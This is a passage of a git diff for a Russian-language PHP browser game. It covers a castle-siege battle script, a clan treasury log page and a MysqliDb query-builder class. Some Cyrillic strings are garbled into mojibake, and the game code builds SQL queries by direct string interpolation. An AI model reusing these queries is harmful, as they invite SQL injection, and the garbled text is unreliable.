    и "; $rrc .= " и "; + foreach( $bots as $k=>$v ) { + if ($k!=0) { $rr.=", "; $rrc.=", ";} + $rr .= nick3($v); + $rrc .= nick7($v); + } + $rr .= ""; + addch ("Поединок между ".$rrc." начался. ",$user['room']); + mysql_query("INSERT INTO `logs` (`id`,`log`) VALUES('{$id}','Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    ');"); + + addlog($id,"Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    "); + $add_time=time(); + // всех в БОЙ!!! + foreach($at_t as $k=>$v) { + mysql_query("UPDATE users SET `battle` ={$id},`zayavka`=0 WHERE `id`= {$v}"); + } + foreach($bots as $k=>$v) { + mysql_query("UPDATE `bots` SET `battle` ={$id} WHERE `id`= {$v}"); + } + mysql_query("DELETE FROM `clan_castle`"); + } + elseif(!empty($at_t) && !empty($ow_t)) + { + //побоище + + $teams = array(); + foreach($at_t as $b) + foreach($ow_t as $gf) + { + $teams[$gf][$b] = array(0,0,time()); + $teams[$b][$gf] = array(0,0,time()); + } + + mysql_query("INSERT INTO `battle` + ( + `id`,`coment`,`teams`,`timeout`,`type`,`status`,`t1`,`t2`,`to1`,`to2`,`blood` + ) + VALUES + ( + NULL,'','".serialize($teams)."','3','1','0','".implode(";",$at_t)."','".implode(";",$ow_t)."','".time()."','".time()."','0' + )"); + + $id = mysql_insert_id(); + // создаем лог + $rr = ""; + + foreach( $at_t as $k=>$v ) { + if ($k!=0) { $rr.=", "; $rrc.=", "; } + $rr .= nick3($v); + $rrc .= nick7($v); + addchp ('Внимание! Ваш бой начался!
    \'; top.frames[\'main\'].location=\'fbattle.php\'; var z = \' ','{[]}'.nick7 ($v).'{[]}'); + } + $rr .= "
    и "; $rrc .= " и "; + foreach( $ow_t as $k=>$v ) { + if ($k!=0) { $rr.=", "; $rrc.=", ";} + $rr .= nick3($v); + $rrc .= nick7($v); + addchp ('Внимание! Ваш бой начался!
    \'; top.frames[\'main\'].location=\'fbattle.php\'; var z = \' ','{[]}'.nick7 ($v).'{[]}'); + } + $rr .= "
    "; + addch ("Поединок между ".$rrc." начался. ",$user['room']); + mysql_query("INSERT INTO `logs` (`id`,`log`) VALUES('{$id}','Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    ');"); + + addlog($id,"Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    "); + $add_time=time(); + // всех в БОЙ!!! + foreach($at_t as $k=>$v) { + mysql_query("UPDATE users SET `battle` ={$id},`zayavka`=0 WHERE `id`= {$v}"); + } + foreach($ow_t as $k=>$v) { + mysql_query("UPDATE users SET `battle` ={$id},`zayavka`=0 WHERE `id`= {$v}"); + } + mysql_query("DELETE FROM `clan_castle`"); + } + $tm=time()+23*60*60; + mysql_query("UPDATE `variables` SET `value`='0' WHERE `var`='castle_att';"); + mysql_query("UPDATE `variables` SET `value`='{$tm}' WHERE `var`='cc_time';"); + mysql_query("DELETE FROM `clan_castle`"); +} +?> + +

    Замок Мэра

    Добро пожаловать в Замок доброго и справедливого Мэра! +Если Вы заинтерисованы в обладании правами на Замок, либо считаете что обладаете достаточными способностями для исполнения +обязанностей Мэра, приглашаем Вас и Ваших единомышлеников поселиться в Замке!

    +Внимание! Администрация не несет ответственности за возможные конфликты на основе спора о правах обладания Замком, +целость и сохранность Ваших личных вещей, здоровье и жизни посетителей!
    +0) $tmp_k=mysql_fetch_array(mysql_query("SELECT `name` FROM `clans` WHERE `id` = '{$own['value']}' LIMIT 1;")); +echo('
    Над Замком развевается флаг '); +if($tmp_k['name']) + echo('клана '.$tmp_k['name'].'
    '); +else + echo('сил Хаоса
    '); + +if($user['align']==2.99) echo('

    '); +if($user['align']==2.99) echo('

    '); +if($ccd>=time()) +{ + echo("Следующая битва: ".(date("j.m",$ccd))." в ".(date("H:i",$ccd))); + +} +elseif($ccd=time()) +{ + $zays=array(); + echo("Заявили права на Замок Мэра:"); + echo(''); + $all_c=mysql_query("SELECT * FROM `clan_castle`;"); + while ($a_zay=mysql_fetch_array($all_c)) + { + $zays[]=$a_zay['clan']; + $tmp_k=mysql_fetch_array(mysql_query("SELECT `name` FROM `clans` WHERE `id` = '{$a_zay['clan']}' LIMIT 1;")); + echo ''; + } + if(empty($zays)) + echo ''; + echo('
    Клан '.$tmp_k['name'].'
    Ждем смелых ...
    '); + echo("
    Прием заявок до: ".(date("H:i",$ccd+900)).""); + + $own=mysql_fetch_array(mysql_query("SELECT `value` FROM `variables` WHERE `var` = 'castle_owner' LIMIT 1;")); + + if ($klan['glava']==$user['id'] && !in_array($user['klan'],$zays) && $user['klan']!=$own['value']) + { + echo("
    Прием заявок от глав кланов:"); + echo '
    +
    + + + \ No newline at end of file diff --git a/clan_log.php b/clan_log.php new file mode 100644 index 0000000..76206a2 --- /dev/null +++ b/clan_log.php @@ -0,0 +1,131 @@ + 0) { + $clan_acces[$i][0] = 1; + } + $i++; + } +} + +if(is_numeric($_GET['page'])) { + $numb = round($_GET['page']*15, 0); +} else { + $numb = 0; +} + +if($clan_acces[6][0] == 1) { + $t = '
    Просмотр операций с казной
    '; + $data = mysql_query("SELECT * FROM `clan_log` WHERE `clan_id` = '".$user['klan']."' ORDER BY `id` DESC LIMIT $numb, 15"); + while($it = mysql_fetch_array($data)) { + $i++; + if($i == 1) { + $t .= ""; + } + if($it['type'] == 1) { + $pp = ""; $dop = 'Кр.'; + } elseif($it['type'] == 2) { + $pp = ""; $dop = 'Екр.'; + } + $it['date'] = date('d.m.y h:i', $it['time']); + $it['login'] = nick3($it['user_id']); + $it['coms'] = ' Комментарий : '.$it['comment'].''; + $t .= ""; + } + $t .= '
       РљРѕРіРґР°    РљС‚оСколько
    ".$pp."  ".$it['date']." ".$it['login']."".$it['coms']."".$it['suma']." $dop
    '; + + $t .= "Страницы: "; + $data2 = mysql_query("SELECT * FROM `clan_log` WHERE `clan_id`= '{$user['klan']}'"); $all = mysql_num_rows($data2)-1; $pgs = $all/15; + for($is = 0; $is <= $pgs; ++$is) { + if($_GET['page'] == $is) { + $t .= ''.($is+1).' '; + } else { + $t .= ''.($is+1).' '; + } + $t .= '
    '; + } +} else { + $t = 'Недостаточно прав'; +} + +?> + + +Просмотр действий СЃ кланом + + + + + + + + + 0) { + if($_GET['hash'] != '') { + if($_GET['hash'] == md5($user['id'].'|'.$user['login'])) { + echo $t; + } + } + } +} +?> + + \ No newline at end of file diff --git a/classes/MysqliDb.php b/classes/MysqliDb.php new file mode 100644 index 0000000..24e0764 --- /dev/null +++ b/classes/MysqliDb.php @@ -0,0 +1,1419 @@ +Р’ $val) { + $$key = $val; + } + } + + if(is_object($host)) { + $this->_mysqli = $host; + } else { + $this->host = $host; + } + + $this->username = $username; + $this->password = $password; + $this->db = $db; + $this->port = $port; + $this->charset = $charset; + + if($isSubQuery) { + $this->isSubQuery = true; + return; + } + + if(isset($prefix)) { + $this->setPrefix($prefix); + } + + self::$_instance = $this; + } + + public function connect() { + if($this->isSubQuery) { + return; + } + + if(empty($this->host)) { + throw new Exception('MySQL host is not set'); + } + + $this->_mysqli = new mysqli($this->host, $this->username, $this->password, $this->db, $this->port); + + if($this->_mysqli->connect_error) { + throw new Exception('Connect Error '.$this->_mysqli->connect_errno.': '.$this->_mysqli->connect_error); + } + + if($this->charset) { + $this->_mysqli->set_charset($this->charset); + } + } + + public function mysqli() { + if(!$this->_mysqli) { + $this->connect(); + } + return $this->_mysqli; + } + + public static function getInstance() { + return self::$_instance; + } + + protected function reset() { + if($this->traceEnabled) { + $this->trace[] = array($this->_lastQuery, (microtime(true) - $this->traceStartQ), $this->_traceGetCaller()); + } + + $this->_where = array(); + $this->_having = array(); + $this->_join = array(); + $this->_orderBy = array(); + $this->_groupBy = array(); + $this->_bindParams = array(''); + $this->_query = null; + $this->_queryOptions = array(); + $this->returnType = 'array'; + $this->_nestJoin = false; + $this->_forUpdate = false; + $this->_lockInShareMode = false; + $this->_tableName = ''; + $this->_lastInsertId = null; + $this->_updateColumns = null; + $this->_mapKey = null; + } + + public function jsonBuilder() { + $this->returnType = 'json'; + return $this; + } + + public function arrayBuilder() { + $this->returnType = 'array'; + return $this; + } + + public function objectBuilder() { + $this->returnType = 'object'; + return $this; + } + + public function setPrefix($prefix = '') { + self::$prefix = $prefix; + return $this; + } + + public function rawQuery($query, $bindParams = null) { + $params = array(''); + $this->_query = $query; + $stmt = $this->_prepareQuery(); + + if(is_array($bindParams) === true) { + foreach($bindParams as $prop => $val) { + $params[0] .= $this->_determineType($val); + array_push($params, $bindParams[$prop]); + } + call_user_func_array(array($stmt, 'bind_param'), $this->refValues($params)); + } + + $stmt->execute(); + $this->count = $stmt->affected_rows; + $this->_stmtError = $stmt->error; + $this->_lastQuery = $this->replacePlaceHolders($this->_query, $params); + $res = $this->_dynamicBindResults($stmt); + $this->reset(); + return $res; + } + + public function rawQueryOne($query, $bindParams = null) { + $res = $this->rawQuery($query, $bindParams); + if(is_array($res) && isset($res[0])) { + return $res[0]; + } + return null; + } + + public function rawQueryValue($query, $bindParams = null) { + $res = $this->rawQuery($query, $bindParams); + if(!$res) { + return null; + } + + $limit = preg_match('/limit\s+1;?$/i', $query); + $key = key($res[0]); + if(isset($res[0][$key]) && $limit == true) { + return $res[0][$key]; + } + $newRes = Array(); + for($i = 0; $i < $this->count; $i++) { + $newRes[] = $res[$i][$key]; + } + return $newRes; + } + + public function query($query, $numRows = null) { + $this->_query = $query; + $stmt = $this->_buildQuery($numRows); + $stmt->execute(); + $this->_stmtError = $stmt->error; + $res = $this->_dynamicBindResults($stmt); + $this->reset(); + return $res; + } + + public function setQueryOption($options) { + $allowedOptions = array('ALL', 'DISTINCT', 'DISTINCTROW', 'HIGH_PRIORITY', 'STRAIGHT_JOIN', 'SQL_SMALL_RESULT', 'SQL_BIG_RESULT', 'SQL_BUFFER_RESULT', 'SQL_CACHE', 'SQL_NO_CACHE', 'SQL_CALC_FOUND_ROWS', 'LOW_PRIORITY', 'IGNORE', 'QUICK', 'MYSQLI_NESTJOIN', 'FOR UPDATE', 'LOCK IN SHARE MODE'); + if(!is_array($options)) { + $options = array($options); + } + + foreach($options as $option) { + $option = strtoupper($option); + if(!in_array($option, $allowedOptions)) { + throw new Exception('Wrong query option: ' . $option); + } + + if($option == 'MYSQLI_NESTJOIN') { + $this->_nestJoin = true; + } elseif($option == 'FOR UPDATE') { + $this->_forUpdate = true; + } elseif($option == 'LOCK IN SHARE MODE') { + $this->_lockInShareMode = true; + } else { + $this->_queryOptions[] = $option; + } + } + return $this; + } + /** + * Function to enable SQL_CALC_FOUND_ROWS in the get queries + * + * @return MysqliDb + */ + public function withTotalCount() + { + $this->setQueryOption('SQL_CALC_FOUND_ROWS'); + return $this; + } + /** + * A convenient SELECT * function. + * + * @param string $tableName The name of the database table to work with. + * @param int|array $numRows Array to define SQL limit in format Array ($count, $offset) + * or only $count + * @param string $columns Desired columns + * + * @return array Contains the returned rows from the select query. + */ + public function get($tableName, $numRows = null, $columns = '*') + { + if (empty($columns)) { + $columns = '*'; + } + $column = is_array($columns) ? implode(', ', $columns) : $columns; + if (strpos($tableName, '.') === false) { + $this->_tableName = self::$prefix . $tableName; + } else { + $this->_tableName = $tableName; + } + $this->_query = 'SELECT ' . implode(' ', $this->_queryOptions) . ' ' . + $column . " FROM " . $this->_tableName; + $stmt = $this->_buildQuery($numRows); + if ($this->isSubQuery) { + return $this; + } + $stmt->execute(); + $this->_stmtError = $stmt->error; + $res = $this->_dynamicBindResults($stmt); + $this->reset(); + return $res; + } + /** + * A convenient SELECT * function to get one record. + * + * @param string $tableName The name of the database table to work with. + * @param string $columns Desired columns + * + * @return array Contains the returned rows from the select query. + */ + public function getOne($tableName, $columns = '*') + { + $res = $this->get($tableName, 1, $columns); + if ($res instanceof MysqliDb) { + return $res; + } elseif (is_array($res) && isset($res[0])) { + return $res[0]; + } elseif ($res) { + return $res; + } + return null; + } + /** + * A convenient SELECT COLUMN function to get a single column value from one row + * + * @param string $tableName The name of the database table to work with. + * @param string $column The desired column + * @param int $limit Limit of rows to select. Use null for unlimited..1 by default + * + * @return mixed Contains the value of a returned column / array of values + */ + public function getValue($tableName, $column, $limit = 1) + { + $res = $this->ArrayBuilder()->get($tableName, $limit, "{$column} AS retval"); + if (!$res) { + return null; + } + if ($limit == 1) { + if (isset($res[0]["retval"])) { + return $res[0]["retval"]; + } + return null; + } + $newRes = Array(); + for ($i = 0; $i < $this->count; $i++) { + $newRes[] = $res[$i]['retval']; + } + return $newRes; + } + /** + * Insert method to add new row + * + * @param string $tableName The name of the table. + * @param array $insertData Data containing information for inserting into the DB. + * + * @return bool Boolean indicating whether the insert query was completed succesfully. + */ + public function insert($tableName, $insertData) + { + return $this->_buildInsert($tableName, $insertData, 'INSERT'); + } + /** + * Replace method to add new row + * + * @param string $tableName The name of the table. + * @param array $insertData Data containing information for inserting into the DB. + * + * @return bool Boolean indicating whether the insert query was completed succesfully. + */ + public function replace($tableName, $insertData) + { + return $this->_buildInsert($tableName, $insertData, 'REPLACE'); + } + /** + * A convenient function that returns TRUE if exists at least an element that + * satisfy the where condition specified calling the "where" method before this one. + * + * @param string $tableName The name of the database table to work with. + * + * @return array Contains the returned rows from the select query. + */ + public function has($tableName) + { + $this->getOne($tableName, '1'); + return $this->count >= 1; + } + /** + * Update query. Be sure to first call the "where" method. + * + * @param string $tableName The name of the database table to work with. + * @param array $tableData Array of data to update the desired row. + * @param int $numRows Limit on the number of rows that can be updated. + * + * @return bool + */ + public function update($tableName, $tableData, $numRows = null) + { + if ($this->isSubQuery) { + return; + } + $this->_query = "UPDATE " . self::$prefix . $tableName; + $stmt = $this->_buildQuery($numRows, $tableData); + $status = $stmt->execute(); + $this->reset(); + $this->_stmtError = $stmt->error; + $this->count = $stmt->affected_rows; + return $status; + } + /** + * Delete query. Call the "where" method first. + * + * @param string $tableName The name of the database table to work with. + * @param int|array $numRows Array to define SQL limit in format Array ($count, $offset) + * or only $count + * + * @return bool Indicates success. 0 or 1. + */ + public function delete($tableName, $numRows = null) + { + if ($this->isSubQuery) { + return; + } + $table = self::$prefix . $tableName; + if (count($this->_join)) { + $this->_query = "DELETE " . preg_replace('/.* (.*)/', '$1', $table) . " FROM " . $table; + } else { + $this->_query = "DELETE FROM " . $table; + } + $stmt = $this->_buildQuery($numRows); + $stmt->execute(); + $this->_stmtError = $stmt->error; + $this->reset(); + return ($stmt->affected_rows > 0); + } + /** + * This method allows you to specify multiple (method chaining optional) AND WHERE statements for SQL queries. + * + * @uses $MySqliDb->where('id', 7)->where('title', 'MyTitle'); + * + * @param string $whereProp The name of the database field. + * @param mixed $whereValue The value of the database field. + * @param string $operator Comparison operator. Default is = + * @param string $cond Condition of where statement (OR, AND) + * + * @return MysqliDb + */ + public function where($whereProp, $whereValue = 'DBNULL', $operator = '=', $cond = 'AND') + { + // forkaround for an old operation api + if (is_array($whereValue) && ($key = key($whereValue)) != "0") { + $operator = $key; + $whereValue = $whereValue[$key]; + } + if (count($this->_where) == 0) { + $cond = ''; + } + $this->_where[] = array($cond, $whereProp, $operator, $whereValue); + return $this; + } + /** + * This function store update column's name and column name of the + * autoincrement column + * + * @param array $updateColumns Variable with values + * @param string $lastInsertId Variable value + * + * @return MysqliDb + */ + public function onDuplicate($updateColumns, $lastInsertId = null) + { + $this->_lastInsertId = $lastInsertId; + $this->_updateColumns = $updateColumns; + return $this; + } + /** + * This method allows you to specify multiple (method chaining optional) OR WHERE statements for SQL queries. + * + * @uses $MySqliDb->orWhere('id', 7)->orWhere('title', 'MyTitle'); + * + * @param string $whereProp The name of the database field. + * @param mixed $whereValue The value of the database field. + * @param string $operator Comparison operator. Default is = + * + * @return MysqliDb + */ + public function orWhere($whereProp, $whereValue = 'DBNULL', $operator = '=') + { + return $this->where($whereProp, $whereValue, $operator, 'OR'); + } + + /** + * This method allows you to specify multiple (method chaining optional) AND HAVING statements for SQL queries. + * + * @uses $MySqliDb->having('SUM(tags) > 10') + * + * @param string $havingProp The name of the database field. + * @param mixed $havingValue The value of the database field. + * @param string $operator Comparison operator. Default is = + * + * @return MysqliDb + */ + public function having($havingProp, $havingValue = 'DBNULL', $operator = '=', $cond = 'AND') + { + // forkaround for an old operation api + if (is_array($havingValue) && ($key = key($havingValue)) != "0") { + $operator = $key; + $havingValue = $havingValue[$key]; + } + if (count($this->_having) == 0) { + $cond = ''; + } + $this->_having[] = array($cond, $havingProp, $operator, $havingValue); + return $this; + } + /** + * This method allows you to specify multiple (method chaining optional) OR HAVING statements for SQL queries. + * + * @uses $MySqliDb->orHaving('SUM(tags) > 10') + * + * @param string $havingProp The name of the database field. + * @param mixed $havingValue The value of the database field. + * @param string $operator Comparison operator. Default is = + * + * @return MysqliDb + */ + public function orHaving($havingProp, $havingValue = null, $operator = null) + { + return $this->having($havingProp, $havingValue, $operator, 'OR'); + } + /** + * This method allows you to concatenate joins for the final SQL statement. + * + * @uses $MySqliDb->join('table1', 'field1 <> field2', 'LEFT') + * + * @param string $joinTable The name of the table. + * @param string $joinCondition the condition. + * @param string $joinType 'LEFT', 'INNER' etc. + * + * @throws Exception + * @return MysqliDb + */ + public function join($joinTable, $joinCondition, $joinType = '') + { + $allowedTypes = array('LEFT', 'RIGHT', 'OUTER', 'INNER', 'LEFT OUTER', 'RIGHT OUTER'); + $joinType = strtoupper(trim($joinType)); + if ($joinType && !in_array($joinType, $allowedTypes)) { + throw new Exception('Wrong JOIN type: ' . $joinType); + } + if (!is_object($joinTable)) { + $joinTable = self::$prefix . $joinTable; + } + $this->_join[] = Array($joinType, $joinTable, $joinCondition); + return $this; + } + /** + * This method allows you to specify multiple (method chaining optional) ORDER BY statements for SQL queries. + * + * @uses $MySqliDb->orderBy('id', 'desc')->orderBy('name', 'desc'); + * + * @param string $orderByField The name of the database field. + * @param string $orderByDirection Order direction. + * @param array $customFields Fieldset for ORDER BY FIELD() ordering + * + * @throws Exception + * @return MysqliDb + */ + public function orderBy($orderByField, $orderbyDirection = "DESC", $customFields = null) + { + $allowedDirection = Array("ASC", "DESC"); + $orderbyDirection = strtoupper(trim($orderbyDirection)); + $orderByField = preg_replace("/[^-a-z0-9\.\(\),_`\*\'\"]+/i", '', $orderByField); + // Add table prefix to orderByField if needed. + //FIXME: We are adding prefix only if table is enclosed into `` to distinguish aliases + // from table names + $orderByField = preg_replace('/(\`)([`a-zA-Z0-9_]*\.)/', '\1' . self::$prefix . '\2', $orderByField); + if (empty($orderbyDirection) || !in_array($orderbyDirection, $allowedDirection)) { + throw new Exception('Wrong order direction: ' . $orderbyDirection); + } + if (is_array($customFields)) { + foreach ($customFields as $key => $value) { + $customFields[$key] = preg_replace("/[^-a-z0-9\.\(\),_`]+/i", '', $value); + } + $orderByField = 'FIELD (' . $orderByField . ', "' . implode('","', $customFields) . '")'; + } + $this->_orderBy[$orderByField] = $orderbyDirection; + return $this; + } + /** + * This method allows you to specify multiple (method chaining optional) GROUP BY statements for SQL queries. + * + * @uses $MySqliDb->groupBy('name'); + * + * @param string $groupByField The name of the database field. + * + * @return MysqliDb + */ + public function groupBy($groupByField) + { + $groupByField = preg_replace("/[^-a-z0-9\.\(\),_\*]+/i", '', $groupByField); + $this->_groupBy[] = $groupByField; + return $this; + } + /** + * This methods returns the ID of the last inserted item + * + * @return int The last inserted item ID. + */ + public function getInsertId() + { + return $this->mysqli()->insert_id; + } + /** + * Escape harmful characters which might affect a query. + * + * @param string $str The string to escape. + * + * @return string The escaped string. + */ + public function escape($str) + { + return $this->mysqli()->real_escape_string($str); + } + /** + * Method to call mysqli->ping() to keep unused connections open on + * long-running scripts, or to reconnect timed out connections (if php.ini has + * global mysqli.reconnect set to true). Can't do this directly using object + * since _mysqli is protected. + * + * @return bool True if connection is up + */ + public function ping() + { + return $this->mysqli()->ping(); + } + /** + * This method is needed for prepared statements. They require + * the data type of the field to be bound with "i" s", etc. + * This function takes the input, determines what type it is, + * and then updates the param_type. + * + * @param mixed $item Input to determine the type. + * + * @return string The joined parameter types. + */ + protected function _determineType($item) + { + switch (gettype($item)) { + case 'NULL': + case 'string': + return 's'; + break; + case 'boolean': + case 'integer': + return 'i'; + break; + case 'blob': + return 'b'; + break; + case 'double': + return 'd'; + break; + } + return ''; + } + /** + * Helper function to add variables into bind parameters array + * + * @param string Variable value + */ + protected function _bindParam($value) + { + $this->_bindParams[0] .= $this->_determineType($value); + array_push($this->_bindParams, $value); + } + /** + * Helper function to add variables into bind parameters array in bulk + * + * @param array $values Variable with values + */ + protected function _bindParams($values) + { + foreach ($values as $value) { + $this->_bindParam($value); + } + } + /** + * Helper function to add variables into bind parameters array and will return + * its SQL part of the query according to operator in ' $operator ?' or + * ' $operator ($subquery) ' formats + * + * @param string $operator + * @param mixed $value Variable with values + * + * @return string + */ + protected function _buildPair($operator, $value) + { + if (!is_object($value)) { + $this->_bindParam($value); + return ' ' . $operator . ' ? '; + } + $subQuery = $value->getSubQuery(); + $this->_bindParams($subQuery['params']); + return " " . $operator . " (" . $subQuery['query'] . ") " . $subQuery['alias']; + } + /** + * Internal function to build and execute INSERT/REPLACE calls + * + * @param string $tableName The name of the table. + * @param array $insertData Data containing information for inserting into the DB. + * @param string $operation Type of operation (INSERT, REPLACE) + * + * @return bool Boolean indicating whether the insert query was completed succesfully. + */ + private function _buildInsert($tableName, $insertData, $operation) + { + if ($this->isSubQuery) { + return; + } + $this->_query = $operation . " " . implode(' ', $this->_queryOptions) . " INTO " . self::$prefix . $tableName; + $stmt = $this->_buildQuery(null, $insertData); + $status = $stmt->execute(); + $this->_stmtError = $stmt->error; + $haveOnDuplicate = !empty ($this->_updateColumns); + $this->reset(); + $this->count = $stmt->affected_rows; + if ($stmt->affected_rows < 1) { + // in case of onDuplicate() usage, if no rows were inserted + if ($status && $haveOnDuplicate) { + return true; + } + return false; + } + if ($stmt->insert_id > 0) { + return $stmt->insert_id; + } + return true; + } + /** + * Abstraction method that will compile the WHERE statement, + * any passed update data, and the desired rows. + * It then builds the SQL query. + * + * @param int|array $numRows Array to define SQL limit in format Array ($count, $offset) + * or only $count + * @param array $tableData Should contain an array of data for updating the database. + * + * @return mysqli_stmt Returns the $stmt object. + */ + protected function _buildQuery($numRows = null, $tableData = null) + { + $this->_buildJoin(); + $this->_buildInsertQuery($tableData); + $this->_buildCondition('WHERE', $this->_where); + $this->_buildGroupBy(); + $this->_buildCondition('HAVING', $this->_having); + $this->_buildOrderBy(); + $this->_buildLimit($numRows); + $this->_buildOnDuplicate($tableData); + + if ($this->_forUpdate) { + $this->_query .= ' FOR UPDATE'; + } + if ($this->_lockInShareMode) { + $this->_query .= ' LOCK IN SHARE MODE'; + } + $this->_lastQuery = $this->replacePlaceHolders($this->_query, $this->_bindParams); + if ($this->isSubQuery) { + return; + } + // Prepare query + $stmt = $this->_prepareQuery(); + // Bind parameters to statement if any + if (count($this->_bindParams) > 1) { + call_user_func_array(array($stmt, 'bind_param'), $this->refValues($this->_bindParams)); + } + return $stmt; + } + /** + * This helper method takes care of prepared statements' "bind_result method + * , when the number of variables to pass is unknown. + * + * @param mysqli_stmt $stmt Equal to the prepared statement object. + * + * @return array The results of the SQL fetch. + */ + protected function _dynamicBindResults(mysqli_stmt $stmt) + { + $parameters = array(); + $results = array(); + /** + * @see http://php.net/manual/en/mysqli-result.fetch-fields.php + */ + $mysqlLongType = 252; + $shouldStoreResult = false; + $meta = $stmt->result_metadata(); + // if $meta is false yet sqlstate is true, there's no sql error but the query is + // most likely an update/insert/delete which doesn't produce any results + if (!$meta && $stmt->sqlstate) + return array(); + $row = array(); + while ($field = $meta->fetch_field()) { + if ($field->type == $mysqlLongType) { + $shouldStoreResult = true; + } + if ($this->_nestJoin && $field->table != $this->_tableName) { + $field->table = substr($field->table, strlen(self::$prefix)); + $row[$field->table][$field->name] = null; + $parameters[] = & $row[$field->table][$field->name]; + } else { + $row[$field->name] = null; + $parameters[] = & $row[$field->name]; + } + } + // avoid out of memory bug in php 5.2 and 5.3. Mysqli allocates lot of memory for long* + // and blob* types. So to avoid out of memory issues store_result is used + // https://github.com/joshcam/PHP-MySQLi-Database-Class/pull/119 + if ($shouldStoreResult) { + $stmt->store_result(); + } + call_user_func_array(array($stmt, 'bind_result'), $parameters); + $this->totalCount = 0; + $this->count = 0; + while ($stmt->fetch()) { + if ($this->returnType == 'object') { + $result = new stdClass (); + foreach ($row as $key => $val) { + if (is_array($val)) { + $result->$key = new stdClass (); + foreach ($val as $k => $v) { + $result->$key->$k = $v; + } + } else { + $result->$key = $val; + } + } + } else { + $result = array(); + foreach ($row as $key => $val) { + if (is_array($val)) { + foreach ($val as $k => $v) { + $result[$key][$k] = $v; + } + } else { + $result[$key] = $val; + } + } + } + $this->count++; + if ($this->_mapKey) { + $results[$row[$this->_mapKey]] = count($row) > 2 ? $result : end($result); + } else { + array_push($results, $result); + } + } + if ($shouldStoreResult) { + $stmt->free_result(); + } + $stmt->close(); + // stored procedures sometimes can return more then 1 resultset + if ($this->mysqli()->more_results()) { + $this->mysqli()->next_result(); + } + if (in_array('SQL_CALC_FOUND_ROWS', $this->_queryOptions)) { + $stmt = $this->mysqli()->query('SELECT FOUND_ROWS()'); + $totalCount = $stmt->fetch_row(); + $this->totalCount = $totalCount[0]; + } + if ($this->returnType == 'json') { + return json_encode($results); + } + return $results; + } + /** + * Abstraction method that will build an JOIN part of the query + * + * @return void + */ + protected function _buildJoin() + { + if (empty($this->_join)) { + return; + } + foreach ($this->_join as $data) { + list ($joinType, $joinTable, $joinCondition) = $data; + if (is_object($joinTable)) { + $joinStr = $this->_buildPair("", $joinTable); + } else { + $joinStr = $joinTable; + } + $this->_query .= " " . $joinType . " JOIN " . $joinStr . + (false !== stripos($joinCondition, 'using') ? " " : " on ") + . $joinCondition; + } + } + /** + * Insert/Update query helper + * + * @param array $tableData + * @param array $tableColumns + * @param bool $isInsert INSERT operation flag + * + * @throws Exception + */ + public function _buildDataPairs($tableData, $tableColumns, $isInsert) + { + foreach ($tableColumns as $column) { + $value = $tableData[$column]; + if (!$isInsert) { + $this->_query .= "`" . $column . "` = "; + } + // Subquery value + if ($value instanceof MysqliDb) { + $this->_query .= $this->_buildPair("", $value) . ", "; + continue; + } + // Simple value + if (!is_array($value)) { + $this->_bindParam($value); + $this->_query .= '?, '; + continue; + } + // Function value + $key = key($value); + $val = $value[$key]; + switch ($key) { + case '[I]': + $this->_query .= $column . $val . ", "; + break; + case '[F]': + $this->_query .= $val[0] . ", "; + if (!empty($val[1])) { + $this->_bindParams($val[1]); + } + break; + case '[N]': + if ($val == null) { + $this->_query .= "!" . $column . ", "; + } else { + $this->_query .= "!" . $val . ", "; + } + break; + default: + throw new Exception("Wrong operation"); + } + } + $this->_query = rtrim($this->_query, ', '); + } + /** + * Helper function to add variables into the query statement + * + * @param array $tableData Variable with values + */ + protected function _buildOnDuplicate($tableData) + { + if (is_array($this->_updateColumns) && !empty($this->_updateColumns)) { + $this->_query .= " ON DUPLICATE KEY UPDATE "; + if ($this->_lastInsertId) { + $this->_query .= $this->_lastInsertId . "=LAST_INSERT_ID (" . $this->_lastInsertId . "), "; + } + foreach ($this->_updateColumns as $key => $val) { + // skip all params without a value + if (is_numeric($key)) { + $this->_updateColumns[$val] = ''; + unset($this->_updateColumns[$key]); + } else { + $tableData[$key] = $val; + } + } + $this->_buildDataPairs($tableData, array_keys($this->_updateColumns), false); + } + } + /** + * Abstraction method that will build an INSERT or UPDATE part of the query + * + * @param array $tableData + */ + protected function _buildInsertQuery($tableData) + { + if (!is_array($tableData)) { + return; + } + $isInsert = preg_match('/^[INSERT|REPLACE]/', $this->_query); + $dataColumns = array_keys($tableData); + if ($isInsert) { + if (isset ($dataColumns[0])) + $this->_query .= ' (`' . implode($dataColumns, '`, `') . '`) '; + $this->_query .= ' VALUES ('; + } else { + $this->_query .= " SET "; + } + $this->_buildDataPairs($tableData, $dataColumns, $isInsert); + if ($isInsert) { + $this->_query .= ')'; + } + } + /** + * Abstraction method that will build the part of the WHERE conditions + * + * @param string $operator + * @param array $conditions + */ + protected function _buildCondition($operator, &$conditions) + { + if (empty($conditions)) { + return; + } + //Prepare the where portion of the query + $this->_query .= ' ' . $operator; + foreach ($conditions as $cond) { + list ($concat, $varName, $operator, $val) = $cond; + $this->_query .= " " . $concat . " " . $varName; + switch (strtolower($operator)) { + case 'not in': + case 'in': + $comparison = ' ' . $operator . ' ('; + if (is_object($val)) { + $comparison .= $this->_buildPair("", $val); + } else { + foreach ($val as $v) { + $comparison .= ' ?,'; + $this->_bindParam($v); + } + } + $this->_query .= rtrim($comparison, ',') . ' ) '; + break; + case 'not between': + case 'between': + $this->_query .= " $operator ? AND ? "; + $this->_bindParams($val); + break; + case 'not exists': + case 'exists': + $this->_query.= $operator . $this->_buildPair("", $val); + break; + default: + if (is_array($val)) { + $this->_bindParams($val); + } elseif ($val === null) { + $this->_query .= $operator . " NULL"; + } elseif ($val != 'DBNULL' || $val == '0') { + $this->_query .= $this->_buildPair($operator, $val); + } + } + } + } + /** + * Abstraction method that will build the GROUP BY part of the WHERE statement + * + * @return void + */ + protected function _buildGroupBy() + { + if (empty($this->_groupBy)) { + return; + } + $this->_query .= " GROUP BY "; + foreach ($this->_groupBy as $key => $value) { + $this->_query .= $value . ", "; + } + $this->_query = rtrim($this->_query, ', ') . " "; + } + /** + * Abstraction method that will build the LIMIT part of the WHERE statement + * + * @return void + */ + protected function _buildOrderBy() + { + if (empty($this->_orderBy)) { + return; + } + $this->_query .= " ORDER BY "; + foreach ($this->_orderBy as $prop => $value) { + if (strtolower(str_replace(" ", "", $prop)) == 'rand()') { + $this->_query .= "rand(), "; + } else { + $this->_query .= $prop . " " . $value . ", "; + } + } + 